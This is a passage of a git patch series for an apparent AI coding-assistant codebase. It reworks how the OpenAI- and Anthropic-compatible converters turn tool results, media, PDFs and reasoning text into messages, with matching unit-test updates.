=== 'user'); + expect(userMessage).toBeUndefined(); + }); + + it('should convert audio parts to tool message with embedded input_audio', () => { + const request: GenerateContentParameters = { + model: 'models/test', + contents: [ + { + role: 'model', + parts: [ + { + functionCall: { + id: 'call_1', + name: 'Record', + args: {}, + }, + }, + ], + }, + { + role: 'user', + parts: [ + { + functionResponse: { + id: 'call_1', + name: 'Record', + response: { output: 'Audio recorded' }, + parts: [ + { + inlineData: { + mimeType: 'audio/wav', + data: 'audiobase64data', + }, + }, + ], + }, + }, + ], + }, + ], + }; + + const messages = converter.convertGeminiRequestToOpenAI(request); + + // Should have tool message with both text and audio content + const toolMessage = messages.find((message) => message.role === 'tool'); + expect(toolMessage).toBeDefined(); + expect(Array.isArray(toolMessage?.content)).toBe(true); + const contentArray = toolMessage?.content as Array<{ + type: string; + text?: string; + input_audio?: { data: string; format: string }; + }>; + expect(contentArray).toHaveLength(2); + expect(contentArray[0].type).toBe('text'); + expect(contentArray[0].text).toBe('Audio recorded'); + expect(contentArray[1].type).toBe('input_audio'); + expect(contentArray[1].input_audio?.data).toBe('audiobase64data'); + expect(contentArray[1].input_audio?.format).toBe('wav'); + + // No separate user message should be created + const userMessage = messages.find((message) => message.role === 'user'); + expect(userMessage).toBeUndefined(); + }); + + it('should create tool message with text-only content when no media parts', () => { + const request = createRequestWithFunctionResponse({ + output: 'Plain text output', + }); + + const messages = converter.convertGeminiRequestToOpenAI(request); + const toolMessage = messages.find((message) => message.role === 'tool'); + + expect(toolMessage).toBeDefined(); + expect(Array.isArray(toolMessage?.content)).toBe(true); + const contentArray = toolMessage?.content as Array<{ + type: string; + text?: string; + }>; + expect(contentArray).toHaveLength(1); + expect(contentArray[0].type).toBe('text'); + expect(contentArray[0].text).toBe('Plain text output'); + + // No user message should be created when there's no media + const userMessage = messages.find((message) => message.role === 'user'); + expect(userMessage).toBeUndefined(); + }); + + it('should skip empty function responses with no media and no text', () => { + const request: GenerateContentParameters = { + model: 'models/test', + contents: [ + { + role: 'user', + parts: [ + { + functionResponse: { + id: 'call_1', + name: 'Empty', + response: { output: '' }, + }, + }, + ], + }, + ], + }; + + const messages = converter.convertGeminiRequestToOpenAI(request); + + // Should have no messages for empty response + expect(messages).toHaveLength(0); }); }); @@ -180,6 +503,35 @@ describe('OpenAIContentConverter', () => { ); }); + it('should convert reasoning to a thought part for non-streaming responses', () => { + const response = converter.convertOpenAIResponseToGemini({ + object: 'chat.completion', + id: 'chatcmpl-2', + created: 123, + model: 'gpt-test', + choices: [ + { + index: 0, + message: { + role: 'assistant', + content: 'final answer', + reasoning: 'chain-of-thought', + }, + finish_reason: 'stop', + logprobs: null, + }, + ], + } as unknown as OpenAI.Chat.ChatCompletion); + + const parts = response.candidates?.[0]?.content?.parts; + expect(parts?.[0]).toEqual( + expect.objectContaining({ thought: true, text: 'chain-of-thought' }), + ); + expect(parts?.[1]).toEqual( + expect.objectContaining({ text: 'final answer' }), + ); + }); + it('should convert streaming reasoning_content delta to a thought part', () => { const chunk = converter.convertOpenAIChunkToGemini({ object: 'chat.completion.chunk', @@ -208,6 +560,34 @@ describe('OpenAIContentConverter', () => { ); }); + it('should convert streaming reasoning delta to a thought part', () => { + const chunk = converter.convertOpenAIChunkToGemini({ + object: 'chat.completion.chunk', + id: 'chunk-1b', + created: 456, + choices: [ + { + index: 0, + delta: { + content: 'visible text', + reasoning: 'thinking...', + }, + finish_reason: 'stop', + logprobs: null, + }, + ], + model: 'gpt-test', + } as unknown as OpenAI.Chat.ChatCompletionChunk); + + const parts = chunk.candidates?.[0]?.content?.parts; + expect(parts?.[0]).toEqual( + expect.objectContaining({ thought: true, text: 'thinking...' }), + ); + expect(parts?.[1]).toEqual( + expect.objectContaining({ text: 'visible text' }), + ); + }); + it('should not throw when streaming chunk has no delta', () => { const chunk = converter.convertOpenAIChunkToGemini({ object: 'chat.completion.chunk', @@ -584,11 +964,7 @@ describe('OpenAIContentConverter', () => { expect(messages).toHaveLength(1); expect(messages[0].role).toBe('assistant'); - const content = messages[0] - .content as OpenAI.Chat.ChatCompletionContentPart[]; - expect(content).toHaveLength(2); - expect(content[0]).toEqual({ type: 'text', text: 'First part' }); - expect(content[1]).toEqual({ type: 'text', text: 'Second part' }); + expect(messages[0].content).toBe('First partSecond part'); }); it('should merge multiple consecutive assistant messages', () => { @@ -614,9 +990,7 @@ describe('OpenAIContentConverter', () => { expect(messages).toHaveLength(1); expect(messages[0].role).toBe('assistant'); - const content = messages[0] - .content as OpenAI.Chat.ChatCompletionContentPart[]; - expect(content).toHaveLength(3); + expect(messages[0].content).toBe('Part 1Part 2Part 3'); }); it('should merge tool_calls from consecutive assistant messages', () => { @@ -674,7 +1048,9 @@ describe('OpenAIContentConverter', () => { ], }; - const messages = converter.convertGeminiRequestToOpenAI(request); + const messages = converter.convertGeminiRequestToOpenAI(request, { + cleanOrphanToolCalls: false, + }); // Should have: assistant (tool_call_1), tool (result_1), assistant (tool_call_2), tool (result_2) expect(messages).toHaveLength(4); @@ -729,10 +1105,7 @@ describe('OpenAIContentConverter', () => { const messages = converter.convertGeminiRequestToOpenAI(request); expect(messages).toHaveLength(1); - const content = messages[0] - .content as OpenAI.Chat.ChatCompletionContentPart[]; - expect(Array.isArray(content)).toBe(true); - expect(content).toHaveLength(2); + expect(messages[0].content).toBe('Text partAnother text'); }); it('should merge empty content correctly', () => { @@ -758,11 +1131,7 @@ describe('OpenAIContentConverter', () => { // Empty messages should be filtered out expect(messages).toHaveLength(1); - const content = messages[0] - .content as OpenAI.Chat.ChatCompletionContentPart[]; - expect(content).toHaveLength(2); - expect(content[0]).toEqual({ type: 'text', text: 'First' }); - expect(content[1]).toEqual({ type: 'text', text: 'Second' }); + expect(messages[0].content).toBe('FirstSecond'); }); }); }); diff --git a/packages/core/src/core/openaiContentGenerator/converter.ts b/packages/core/src/core/openaiContentGenerator/converter.ts index 690751a2a..a46a343c1 100644 --- a/packages/core/src/core/openaiContentGenerator/converter.ts +++ b/packages/core/src/core/openaiContentGenerator/converter.ts @@ -11,7 +11,6 @@ import type { Tool, ToolListUnion, CallableTool, - FunctionCall, FunctionResponse, ContentListUnion, ContentUnion, @@ -47,11 +46,13 @@ type ExtendedChatCompletionMessageParam = export interface ExtendedCompletionMessage extends OpenAI.Chat.ChatCompletionMessage { reasoning_content?: string | null; + reasoning?: string | null; } export interface ExtendedCompletionChunkDelta extends OpenAI.Chat.ChatCompletionChunk.Choice.Delta { reasoning_content?: string | null; + reasoning?: string | null; } /** @@ -63,21 +64,17 @@ export interface ToolCallAccumulator { arguments: string; } -/** - * Parsed parts from Gemini content, categorized by type - */ -interface ParsedParts { - thoughtParts: string[]; - contentParts: string[]; - functionCalls: FunctionCall[]; - functionResponses: FunctionResponse[]; - mediaParts: Array<{ - type: 'image' | 'audio' | 'file'; - data: string; - mimeType: string; - fileUri?: string; - }>; -} +type OpenAIContentPart = + | OpenAI.Chat.ChatCompletionContentPartText + | OpenAI.Chat.ChatCompletionContentPartImage + | OpenAI.Chat.ChatCompletionContentPartInputAudio + | { + type: 'file'; + file: { + filename: string; + file_data: string; + }; + }; /** * Converter class for transforming data between Gemini and OpenAI formats @@ -271,28 +268,48 @@ export class OpenAIContentConverter { ): OpenAI.Chat.ChatCompletion { const candidate = response.candidates?.[0]; const parts = (candidate?.content?.parts || []) as Part[]; - const parsedParts = this.parseParts(parts); + + // Parse parts inline + const thoughtParts: string[] = []; + const contentParts: string[] = []; + const toolCalls: OpenAI.Chat.ChatCompletionMessageToolCall[] = []; + let toolCallIndex = 0; + + for (const part of parts) { + if (typeof part === 'string') { + contentParts.push(part); + } else if ('text' in part && part.text) { + if ('thought' in part && part.thought) { + thoughtParts.push(part.text); + } else { + contentParts.push(part.text); + } + } else if ('functionCall' in part && part.functionCall) { + toolCalls.push({ + id: part.functionCall.id || `call_${toolCallIndex}`, + type: 'function' as const, + function: { + name: part.functionCall.name || '', + arguments: JSON.stringify(part.functionCall.args || {}), + }, + }); + toolCallIndex += 1; + } + } const message: ExtendedCompletionMessage = { role: 'assistant', - content: parsedParts.contentParts.join('') || null, + content: contentParts.join('') || null, refusal: null, }; - const reasoningContent = parsedParts.thoughtParts.join(''); + const reasoningContent = thoughtParts.join(''); if (reasoningContent) { message.reasoning_content = reasoningContent; } - if (parsedParts.functionCalls.length > 0) { - message.tool_calls = parsedParts.functionCalls.map((call, index) => ({ - id: call.id || `call_${index}`, - type: 'function' as const, - function: { - name: call.name || '', - arguments: JSON.stringify(call.args || {}), - }, - })); + if (toolCalls.length > 0) { + message.tool_calls = toolCalls; } const finishReason = this.mapGeminiFinishReasonToOpenAI( @@ -390,40 +407,82 @@ export class OpenAIContentConverter { } if (!this.isContentObject(content)) return; + const parts = content.parts || []; + const role = content.role === 'model' ? 'assistant' : 'user'; - const parsedParts = this.parseParts(content.parts || []); + const contentParts: OpenAIContentPart[] = []; + const reasoningParts: string[] = []; + const toolCalls: OpenAI.Chat.ChatCompletionMessageToolCall[] = []; + let toolCallIndex = 0; - // Handle function responses (tool results) first - if (parsedParts.functionResponses.length > 0) { - for (const funcResponse of parsedParts.functionResponses) { - messages.push({ - role: 'tool' as const, - tool_call_id: funcResponse.id || '', - content: this.extractFunctionResponseContent(funcResponse.response), - }); + for (const part of parts) { + if (typeof part === 'string') { + contentParts.push({ type: 'text' as const, text: part }); + continue; + } + + if ('text' in part && 'thought' in part && part.thought) { + if (role === 'assistant' && part.text) { + reasoningParts.push(part.text); + } + } + + if ('text' in part && part.text && !('thought' in part && part.thought)) { + contentParts.push({ type: 'text' as const, text: part.text }); + } + + const mediaPart = this.createMediaContentPart(part); + if (mediaPart && role === 'user') { + contentParts.push(mediaPart); + } + + if ('functionCall' in part && part.functionCall && role === 'assistant') { + toolCalls.push({ + id: part.functionCall.id || `call_${toolCallIndex}`, + type: 'function' as const, + function: { + name: part.functionCall.name || '', + arguments: JSON.stringify(part.functionCall.args || {}), + }, + }); + toolCallIndex += 1; + } + + if (part.functionResponse && role === 'user') { + // Create tool message for the function response (with embedded media) + const toolMessage = this.createToolMessage(part.functionResponse); + if (toolMessage) { + messages.push(toolMessage); + } } - return; } - // Handle model messages with function calls - if (content.role === 'model' && parsedParts.functionCalls.length > 0) { - const toolCalls = parsedParts.functionCalls.map((fc, index) => ({ - id: fc.id || `call_${index}`, - type: 'function' as const, - function: { - name: fc.name || '', - arguments: JSON.stringify(fc.args || {}), - }, - })); + if (role === 'assistant') { + if ( + contentParts.length === 0 && + toolCalls.length === 0 && + reasoningParts.length === 0 + ) { + return; + } + const assistantTextContent = contentParts + .filter( + (part): part is OpenAI.Chat.ChatCompletionContentPartText => + part.type === 'text', + ) + .map((part) => part.text) + .join(''); const assistantMessage: ExtendedChatCompletionAssistantMessageParam = { - role: 'assistant' as const, - content: parsedParts.contentParts.join('') || null, - tool_calls: toolCalls, + role: 'assistant', + content: assistantTextContent || null, }; - // Only include reasoning_content if it has actual content - const reasoningContent = parsedParts.thoughtParts.join(''); + if (toolCalls.length > 0) { + assistantMessage.tool_calls = toolCalls; + } + + const reasoningContent = reasoningParts.join(''); if (reasoningContent) { assistantMessage.reasoning_content = reasoningContent; } @@ -432,79 +491,15 @@ export class OpenAIContentConverter { return; } - // Handle regular messages with multimodal content - const role = content.role === 'model' ? 'assistant' : 'user'; - const openAIMessage = this.createMultimodalMessage(role, parsedParts); - - if (openAIMessage) { - messages.push(openAIMessage); + if (contentParts.length > 0) { + messages.push({ + role: 'user', + content: + contentParts as unknown as OpenAI.Chat.ChatCompletionContentPart[], + }); } } - /** - * Parse Gemini parts into categorized components - */ - private parseParts(parts: Part[]): ParsedParts { - const thoughtParts: string[] = []; - const contentParts: string[] = []; - const functionCalls: FunctionCall[] = []; - const functionResponses: FunctionResponse[] = []; - const mediaParts: Array<{ - type: 'image' | 'audio' | 'file'; - data: string; - mimeType: string; - fileUri?: string; - }> = []; - - for (const part of parts) { - if (typeof part === 'string') { - contentParts.push(part); - } else if ( - 'text' in part && - part.text && - !('thought' in part && part.thought) - ) { - contentParts.push(part.text); - } else if ( - 'text' in part && - part.text && - 'thought' in part && - part.thought - ) { - thoughtParts.push(part.text); - } else if ('functionCall' in part && part.functionCall) { - functionCalls.push(part.functionCall); - } else if ('functionResponse' in part && part.functionResponse) { - functionResponses.push(part.functionResponse); - } else if ('inlineData' in part && part.inlineData) { - const { data, mimeType } = part.inlineData; - if (data && mimeType) { - const mediaType = this.getMediaType(mimeType); - mediaParts.push({ type: mediaType, data, mimeType }); - } - } else if ('fileData' in part && part.fileData) { - const { fileUri, mimeType } = part.fileData; - if (fileUri && mimeType) { - const mediaType = this.getMediaType(mimeType); - mediaParts.push({ - type: mediaType, - data: '', - mimeType, - fileUri, - }); - } - } - } - - return { - thoughtParts, - contentParts, - functionCalls, - functionResponses, - mediaParts, - }; - } - private extractFunctionResponseContent(response: unknown): string { if (response === null || response === undefined) { return ''; @@ -535,6 +530,96 @@ export class OpenAIContentConverter { } } + /** + * Create a tool message from function response (with embedded media parts) + */ + private createToolMessage( + response: FunctionResponse, + ): OpenAI.Chat.ChatCompletionToolMessageParam | null { + const textContent = this.extractFunctionResponseContent(response.response); + const contentParts: OpenAIContentPart[] = []; + + // Add text content first if present + if (textContent) { + contentParts.push({ type: 'text' as const, text: textContent }); + } + + // Add media parts from function response + for (const part of response.parts || []) { + const mediaPart = this.createMediaContentPart(part); + if (mediaPart) { + contentParts.push(mediaPart); + } + } + + // Tool messages require content, so skip if empty + if (contentParts.length === 0) { + return null; + } + + // Cast to OpenAI type - some OpenAI-compatible APIs support richer content in tool messages + return { + role: 'tool' as const, + tool_call_id: response.id || '', + content: contentParts as unknown as + | string + | OpenAI.Chat.ChatCompletionContentPartText[], + }; + } + + /** + * Create OpenAI media content part from Gemini part + */ + private createMediaContentPart(part: Part): OpenAIContentPart | null { + if (part.inlineData?.mimeType && part.inlineData?.data) { + const mediaType = this.getMediaType(part.inlineData.mimeType); + if (mediaType === 'image') { + const dataUrl = `data:${part.inlineData.mimeType};base64,${part.inlineData.data}`; + return { + type: 'image_url' as const, + image_url: { url: dataUrl }, + }; + } + if (mediaType === 'audio') { + const format = this.getAudioFormat(part.inlineData.mimeType); + if (format) { + return { + type: 'input_audio' as const, + input_audio: { + data: part.inlineData.data, + format, + }, + }; + } + } + } + + if (part.fileData?.mimeType && part.fileData?.fileUri) { + const filename = part.fileData.displayName || 'file'; + const fileUri = part.fileData.fileUri; + + if (fileUri.startsWith('data:')) { + return { + type: 'file' as const, + file: { + filename, + file_data: fileUri, + }, + }; + } + + return { + type: 'file' as const, + file: { + filename, + file_data: `data:${part.fileData.mimeType};base64,${fileUri}`, + }, + }; + } + + return null; + } + /** * Determine media type from MIME type */ @@ -544,85 +629,6 @@ export class OpenAIContentConverter { return 'file'; } - /** - * Create multimodal OpenAI message from parsed parts - */ - private createMultimodalMessage( - role: 'user' | 'assistant', - parsedParts: Pick< - ParsedParts, - 'contentParts' | 'mediaParts' | 'thoughtParts' - >, - ): ExtendedChatCompletionMessageParam | null { - const { contentParts, mediaParts, thoughtParts } = parsedParts; - const reasoningContent = thoughtParts.join(''); - const content = contentParts.map((text) => ({ - type: 'text' as const, - text, - })); - - // If no media parts, return simple text message - if (mediaParts.length === 0) { - if (content.length === 0) return null; - const message: ExtendedChatCompletionMessageParam = { role, content }; - // Only include reasoning_content if it has actual content - if (reasoningContent) { - ( - message as ExtendedChatCompletionAssistantMessageParam - ).reasoning_content = reasoningContent; - } - return message; - } - - // For assistant messages with media, convert to text only - // since OpenAI assistant messages don't support media content arrays - if (role === 'assistant') { - return content.length > 0 - ? { role: 'assistant' as const, content } - : null; - } - - const contentArray: OpenAI.Chat.ChatCompletionContentPart[] = [...content]; - - // Add media content - for (const mediaPart of mediaParts) { - if (mediaPart.type === 'image') { - if (mediaPart.fileUri) { - // For file URIs, use the URI directly - contentArray.push({ - type: 'image_url' as const, - image_url: { url: mediaPart.fileUri }, - }); - } else if (mediaPart.data) { - // For inline data, create data URL - const dataUrl = `data:${mediaPart.mimeType};base64,${mediaPart.data}`; - contentArray.push({ - type: 'image_url' as const, - image_url: { url: dataUrl }, - }); - } - } else if (mediaPart.type === 'audio' && mediaPart.data) { - // Convert audio format from MIME type - const format = this.getAudioFormat(mediaPart.mimeType); - if (format) { - contentArray.push({ - type: 'input_audio' as const, - input_audio: { - data: mediaPart.data, - format: format as 'wav' | 'mp3', - }, - }); - } - } - // Note: File type is not directly supported in OpenAI's current API - // Could be extended in the future or handled as text description - } - - return contentArray.length > 0 - ? { role: 'user' as const, content: contentArray } - : null; - } - /** * Convert MIME type to OpenAI audio format */ @@ -693,8 +699,9 @@ export class OpenAIContentConverter { const parts: Part[] = []; // Handle reasoning content (thoughts) - const reasoningText = (choice.message as ExtendedCompletionMessage) - .reasoning_content; + const reasoningText = + (choice.message as ExtendedCompletionMessage).reasoning_content ?? + (choice.message as ExtendedCompletionMessage).reasoning; if (reasoningText) { parts.push({ text: reasoningText, thought: true }); } @@ -798,8 +805,9 @@ export class OpenAIContentConverter { if (choice) { const parts: Part[] = []; - const reasoningText = (choice.delta as ExtendedCompletionChunkDelta) - ?.reasoning_content; + const reasoningText = + (choice.delta as ExtendedCompletionChunkDelta)?.reasoning_content ?? + (choice.delta as ExtendedCompletionChunkDelta)?.reasoning; if (reasoningText) { parts.push({ text: reasoningText, thought: true }); } @@ -1130,6 +1138,10 @@ export class OpenAIContentConverter { // If the last message is also an assistant message, merge them if (lastMessage.role === 'assistant') { + const lastToolCalls = + 'tool_calls' in lastMessage ? lastMessage.tool_calls || [] : []; + const currentToolCalls = + 'tool_calls' in message ? message.tool_calls || [] : []; // Combine content const lastContent = lastMessage.content; const currentContent = message.content; @@ -1171,10 +1183,6 @@ export class OpenAIContentConverter { } // Combine tool calls - const lastToolCalls = - 'tool_calls' in lastMessage ? lastMessage.tool_calls || [] : []; - const currentToolCalls = - 'tool_calls' in message ? message.tool_calls || [] : []; const combinedToolCalls = [...lastToolCalls, ...currentToolCalls]; // Update the last message with combined data diff --git a/packages/core/src/core/openaiContentGenerator/pipeline.ts b/packages/core/src/core/openaiContentGenerator/pipeline.ts index 0f00ecb30..0ee0f1e25 100644 --- a/packages/core/src/core/openaiContentGenerator/pipeline.ts +++ b/packages/core/src/core/openaiContentGenerator/pipeline.ts @@ -320,13 +320,15 @@ export class ContentGenerationPipeline { 'frequency_penalty', 'frequencyPenalty', ), - ...this.buildReasoningConfig(), + ...this.buildReasoningConfig(request), }; return params; } - private buildReasoningConfig(): Record { + private buildReasoningConfig( + request: GenerateContentParameters, + ): Record { // Reasoning configuration for OpenAI-compatible endpoints is highly fragmented. // For example, across common providers and models: // @@ -336,13 +338,21 @@ export class ContentGenerationPipeline { // - gpt-5.x series — thinking is enabled by default; can be disabled via `reasoning.effort` // - qwen3 series — model-dependent; can be manually disabled via `extra_body.enable_thinking` // - // Given this inconsistency, we choose not to set any reasoning config here and - // instead rely on each model’s default behavior. + // Given this inconsistency, we avoid mapping values and only pass through the + // configured reasoning object when explicitly enabled. This keeps provider- and + // model-specific semantics intact while honoring request-level opt-out. - // We plan to introduce provider- and model-specific settings to enable more - // fine-grained control over reasoning configuration. + if (request.config?.thinkingConfig?.includeThoughts === false) { + return {}; + } - return {}; + const reasoning = this.contentGeneratorConfig.reasoning; + + if (reasoning === false || reasoning === undefined) { + return {}; + } + + return { reasoning }; } /** diff --git a/packages/core/src/core/openaiContentGenerator/provider/dashscope.test.ts b/packages/core/src/core/openaiContentGenerator/provider/dashscope.test.ts index e7c951fd9..6d8fd8a5f 100644 --- a/packages/core/src/core/openaiContentGenerator/provider/dashscope.test.ts +++ b/packages/core/src/core/openaiContentGenerator/provider/dashscope.test.ts @@ -608,7 +608,7 @@ describe('DashScopeOpenAICompatibleProvider', () => { }); }); - it('should add empty text item with cache control if last item is not text for streaming requests', () => { + it('should add cache control to last item even if not text for streaming requests', () => { const requestWithNonTextLast: OpenAI.Chat.ChatCompletionCreateParams = { model: 'qwen-max', stream: true, // This will trigger cache control on last message @@ -633,12 +633,12 @@ describe('DashScopeOpenAICompatibleProvider', () => { const content = result.messages[0] .content as OpenAI.Chat.ChatCompletionContentPart[]; - expect(content).toHaveLength(3); + expect(content).toHaveLength(2); - // Should add empty text item with cache control - expect(content[2]).toEqual({ - type: 'text', - text: '', + // Cache control should be added to the last item (image) + expect(content[1]).toEqual({ + type: 'image_url', + image_url: { url: 'https://example.com/image.jpg' }, cache_control: { type: 'ephemeral' }, }); }); @@ -709,13 +709,8 @@ describe('DashScopeOpenAICompatibleProvider', () => { const content = result.messages[0] .content as OpenAI.Chat.ChatCompletionContentPart[]; - expect(content).toEqual([ - { - type: 'text', - text: '', - cache_control: { type: 'ephemeral' }, - }, - ]); + // Empty content array should remain empty + expect(content).toEqual([]); }); }); diff --git a/packages/core/src/core/openaiContentGenerator/provider/dashscope.ts b/packages/core/src/core/openaiContentGenerator/provider/dashscope.ts index 45b0568a0..e931d08ce 100644 --- a/packages/core/src/core/openaiContentGenerator/provider/dashscope.ts +++ b/packages/core/src/core/openaiContentGenerator/provider/dashscope.ts @@ -257,31 +257,15 @@ export class DashScopeOpenAICompatibleProvider contentArray: ChatCompletionContentPartWithCache[], ): ChatCompletionContentPartWithCache[] { if (contentArray.length === 0) { - return [ - { - type: 'text', - text: '', - cache_control: { type: 'ephemeral' }, - } as ChatCompletionContentPartTextWithCache, - ]; + return contentArray; } + // Add cache_control to the last text item const lastItem = contentArray[contentArray.length - 1]; - - if (lastItem.type === 'text') { - // Add cache_control to the last text item - contentArray[contentArray.length - 1] = { - ...lastItem, - cache_control: { type: 'ephemeral' }, - } as ChatCompletionContentPartTextWithCache; - } else { - // If the last item is not text, add a new text item with cache_control - contentArray.push({ - type: 'text', - text: '', - cache_control: { type: 'ephemeral' }, - } as ChatCompletionContentPartTextWithCache); - } + contentArray[contentArray.length - 1] = { + ...lastItem, + cache_control: { type: 'ephemeral' }, + } as ChatCompletionContentPartTextWithCache; return contentArray; } diff --git a/packages/core/src/tools/read-file.test.ts b/packages/core/src/tools/read-file.test.ts index 01568eed9..17ce30763 100644 --- a/packages/core/src/tools/read-file.test.ts +++ b/packages/core/src/tools/read-file.test.ts @@ -283,6 +283,7 @@ describe('ReadFileTool', () => { inlineData: { data: pngHeader.toString('base64'), mimeType: 'image/png', + displayName: 'image.png', }, }); expect(result.returnDisplay).toBe('Read image file: image.png'); @@ -301,9 +302,10 @@ describe('ReadFileTool', () => { const result = await invocation.execute(abortSignal); expect(result.llmContent).toEqual({ - inlineData: { - data: pdfHeader.toString('base64'), + fileData: { + fileUri: pdfHeader.toString('base64'), mimeType: 'application/pdf', + displayName: 'document.pdf', }, }); expect(result.returnDisplay).toBe('Read pdf file: document.pdf'); diff --git a/packages/core/src/tools/read-many-files.test.ts b/packages/core/src/tools/read-many-files.test.ts index 758fb5d6a..ec20db671 100644 --- a/packages/core/src/tools/read-many-files.test.ts +++ b/packages/core/src/tools/read-many-files.test.ts @@ -383,6 +383,7 @@ describe('ReadManyFilesTool', () => { 0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a, ]).toString('base64'), mimeType: 'image/png', + displayName: 'image.png', }, }, '\n--- End of content ---', @@ -407,6 +408,7 @@ describe('ReadManyFilesTool', () => { 0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a, ]).toString('base64'), mimeType: 'image/png', + displayName: 'myExactImage.png', }, }, '\n--- End of content ---', @@ -434,32 +436,34 @@ describe('ReadManyFilesTool', () => { ); }); - it('should include PDF files as inlineData parts if explicitly requested by extension', async () => { + it('should include PDF files as fileData parts if explicitly requested by extension', async () => { createBinaryFile('important.pdf', Buffer.from('%PDF-1.4...')); const params = { paths: ['*.pdf'] }; // Explicitly requesting .pdf files const invocation = tool.build(params); const result = await invocation.execute(new AbortController().signal); expect(result.llmContent).toEqual([ { - inlineData: { - data: Buffer.from('%PDF-1.4...').toString('base64'), + fileData: { + fileUri: Buffer.from('%PDF-1.4...').toString('base64'), mimeType: 'application/pdf', + displayName: 'important.pdf', }, }, '\n--- End of content ---', ]); }); - it('should include PDF files as inlineData parts if explicitly requested by name', async () => { + it('should include PDF files as fileData parts if explicitly requested by name', async () => { createBinaryFile('report-final.pdf', Buffer.from('%PDF-1.4...')); const params = { paths: ['report-final.pdf'] }; const invocation = tool.build(params); const result = await invocation.execute(new AbortController().signal); expect(result.llmContent).toEqual([ { - inlineData: { - data: Buffer.from('%PDF-1.4...').toString('base64'), + fileData: { + fileUri: Buffer.from('%PDF-1.4...').toString('base64'), mimeType: 'application/pdf', + displayName: 'report-final.pdf', }, }, '\n--- End of content ---', diff --git a/packages/core/src/utils/fileUtils.test.ts b/packages/core/src/utils/fileUtils.test.ts index 92af55e42..92a43e2b7 100644 --- a/packages/core/src/utils/fileUtils.test.ts +++ b/packages/core/src/utils/fileUtils.test.ts @@ -731,6 +731,10 @@ describe('fileUtils', () => { expect( (result.llmContent as { inlineData: { data: string } }).inlineData.data, ).toBe(fakePngData.toString('base64')); + expect( + (result.llmContent as { inlineData: { displayName?: string } }) + .inlineData.displayName, + ).toBe('image.png'); expect(result.returnDisplay).toContain('Read image file: image.png'); }); @@ -743,15 +747,20 @@ describe('fileUtils', () => { mockConfig, ); expect( - (result.llmContent as { inlineData: unknown }).inlineData, + (result.llmContent as { fileData: unknown }).fileData, ).toBeDefined(); expect( - (result.llmContent as { inlineData: { mimeType: string } }).inlineData + (result.llmContent as { fileData: { mimeType: string } }).fileData .mimeType, ).toBe('application/pdf'); expect( - (result.llmContent as { inlineData: { data: string } }).inlineData.data, + (result.llmContent as { fileData: { fileUri: string } }).fileData + .fileUri, ).toBe(fakePdfData.toString('base64')); + expect( + (result.llmContent as { fileData: { displayName?: string } }).fileData + .displayName, + ).toBe('document.pdf'); expect(result.returnDisplay).toContain('Read pdf file: document.pdf'); }); diff --git a/packages/core/src/utils/fileUtils.ts b/packages/core/src/utils/fileUtils.ts index 940e9794d..70f207757 100644 --- a/packages/core/src/utils/fileUtils.ts +++ b/packages/core/src/utils/fileUtils.ts @@ -351,6 +351,7 @@ export async function processSingleFileContent( .relative(rootDirectory, filePath) .replace(/\\/g, '/'); + const displayName = path.basename(filePath); switch (fileType) { case 'binary': { return { @@ -456,7 +457,6 @@ export async function processSingleFileContent( }; } case 'image': - case 'pdf': case 'audio': case 'video': { const contentBuffer = await fs.promises.readFile(filePath); @@ -466,6 +466,21 @@ export async function processSingleFileContent( inlineData: { data: base64Data, mimeType: mime.getType(filePath) || 'application/octet-stream', + displayName, + }, + }, + returnDisplay: `Read ${fileType} file: ${relativePathForDisplay}`, + }; + } + case 'pdf': { + const contentBuffer = await fs.promises.readFile(filePath); + const base64Data = contentBuffer.toString('base64'); + return { + llmContent: { + fileData: { + fileUri: base64Data, + mimeType: mime.getType(filePath) || 'application/octet-stream', + displayName, }, }, returnDisplay: `Read ${fileType} file: ${relativePathForDisplay}`, diff --git a/packages/core/src/utils/pathReader.test.ts b/packages/core/src/utils/pathReader.test.ts index fd6ff2245..5de10765b 100644 --- a/packages/core/src/utils/pathReader.test.ts +++ b/packages/core/src/utils/pathReader.test.ts @@ -113,6 +113,7 @@ describe('readPathFromWorkspace', () => { inlineData: { mimeType: 'image/png', data: imageData.toString('base64'), + displayName: 'image.png', }, }, ]); @@ -263,6 +264,7 @@ describe('readPathFromWorkspace', () => { inlineData: { mimeType: 'image/png', data: imageData.toString('base64'), + displayName: 'photo.png', }, }); }); From 67a4fbd5f6e15ec8e6ce5dddf975d20f24beaeff Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Thu, 22 Jan 2026 15:25:06 +0800 Subject: [PATCH 13/79] chore: address minor review comments --- .../src/core/anthropicContentGenerator/converter.ts | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/packages/core/src/core/anthropicContentGenerator/converter.ts b/packages/core/src/core/anthropicContentGenerator/converter.ts index 48e04d798..19430df52 100644 --- a/packages/core/src/core/anthropicContentGenerator/converter.ts +++ b/packages/core/src/core/anthropicContentGenerator/converter.ts @@ -321,7 +321,9 @@ export class AnthropicContentConverter { ): AnthropicContentBlockParam | null { if (part.inlineData?.mimeType && part.inlineData?.data) { if (!this.isSupportedAnthropicImageMimeType(part.inlineData.mimeType)) { - const displayName = part.inlineData.displayName ?? ''; + const displayName = part.inlineData.displayName + ? ` (${part.inlineData.displayName})` + : ''; return { type: 'text', text: `Unsupported inline media type for Anthropic: ${part.inlineData.mimeType}${displayName}.`, @@ -343,10 +345,12 @@ export class AnthropicContentConverter { if (part.fileData?.mimeType && part.fileData?.fileUri) { if (part.fileData.mimeType !== 'application/pdf') { - const displayName = part.fileData.displayName ?? ''; + const displayName = part.fileData.displayName + ? ` (${part.fileData.displayName})` + : ''; return { type: 'text', - text: `Unsupported file media for Anthropic: ${part.fileData.mimeType}${displayName}`, + text: `Unsupported file media for Anthropic: ${part.fileData.mimeType}${displayName}.`, }; } return { From 269a055aa42e95fe87c373150e7b720909999c1a Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Thu, 22 Jan 2026 16:13:30 +0800 Subject: [PATCH 14/79] feat: add video input support in openai content generator --- .../openaiContentGenerator/converter.test.ts | 69 ++++++++++++++++++- .../core/openaiContentGenerator/converter.ts | 15 +++- 2 files changed, 81 insertions(+), 3 deletions(-) diff --git a/packages/core/src/core/openaiContentGenerator/converter.test.ts b/packages/core/src/core/openaiContentGenerator/converter.test.ts index a5c88a889..68af55716 100644 --- a/packages/core/src/core/openaiContentGenerator/converter.test.ts +++ b/packages/core/src/core/openaiContentGenerator/converter.test.ts @@ -416,7 +416,9 @@ describe('OpenAIContentConverter', () => { 